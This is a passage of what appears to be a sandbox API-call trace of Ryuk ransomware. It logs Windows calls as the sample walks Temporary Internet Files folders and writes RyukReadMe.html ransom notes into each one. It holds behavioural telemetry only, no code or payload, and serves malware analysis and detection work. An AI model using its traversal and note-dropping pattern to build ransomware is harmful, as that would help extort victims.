	[0257.982] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0257.983] GetLastError () returned 0xb7
	[0257.983] CloseHandle (hObject=0x5c4) returned 1
	[0257.983] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0257.983] SetLastError (dwErrCode=0x0) 
	[0257.983] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0257.983] GetLastError () returned 0xb7
	[0257.983] CloseHandle (hObject=0x5c4) returned 1
	[0257.984] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0257.985] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.985] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0257.985] SetLastError (dwErrCode=0x0) 
	[0257.986] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0257.987] GetLastError () returned 0x0
	[0257.987] WriteFile (in: hFile=0x870, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0257.989] CloseHandle (hObject=0x870) returned 1
	[0257.990] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0257.990] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.990] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e570c75, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0257.990] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x49da51a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0257.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0257.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868
	[0257.997] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.998] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="MM5O9XQS", cAlternateFileName="")) returned 1
	[0257.998] SetLastError (dwErrCode=0x0) 
	[0257.998] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.998] GetLastError () returned 0x3
	[0257.998] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0257.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.999] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0257.999] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0257.999] SetLastError (dwErrCode=0x0) 
	[0257.999] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\mm5o9xqs\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.999] GetLastError () returned 0x3
	[0257.999] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0257.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.999] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="PMMR5K9K", cAlternateFileName="")) returned 1
	[0257.999] SetLastError (dwErrCode=0x0) 
	[0257.999] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.999] GetLastError () returned 0x3
	[0257.999] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0258.000] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.000] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0258.000] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0258.000] SetLastError (dwErrCode=0x0) 
	[0258.000] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\pmmr5k9k\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.000] GetLastError () returned 0x3
	[0258.000] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0258.000] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.000] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="RIJUQL1C", cAlternateFileName="")) returned 1
	[0258.000] SetLastError (dwErrCode=0x0) 
	[0258.000] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.000] GetLastError () returned 0x3
	[0258.000] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0258.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.001] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0258.001] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0258.001] SetLastError (dwErrCode=0x0) 
	[0258.001] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\rijuql1c\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.001] GetLastError () returned 0x3
	[0258.001] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0258.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.001] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 1
	[0258.001] SetLastError (dwErrCode=0x0) 
	[0258.001] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.001] GetLastError () returned 0x3
	[0258.001] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0258.002] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.002] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0258.002] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0258.002] SetLastError (dwErrCode=0x0) 
	[0258.002] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\X9OHK109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\x9ohk109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.002] GetLastError () returned 0x3
	[0258.002] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0258.002] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.002] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 0
	[0258.002] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0258.003] SetLastError (dwErrCode=0x0) 
	[0258.003] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.003] GetLastError () returned 0x3
	[0258.003] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0) returned 0
	[0258.003] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.003] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Content.MSO", cAlternateFileName="")) returned 1
	[0258.003] SetLastError (dwErrCode=0x0) 
	[0258.003] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0258.003] GetLastError () returned 0xb7
	[0258.003] CloseHandle (hObject=0x870) returned 1
	[0258.003] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.MSO\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0258.193] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.194] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0258.194] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0258.194] SetLastError (dwErrCode=0x0) 
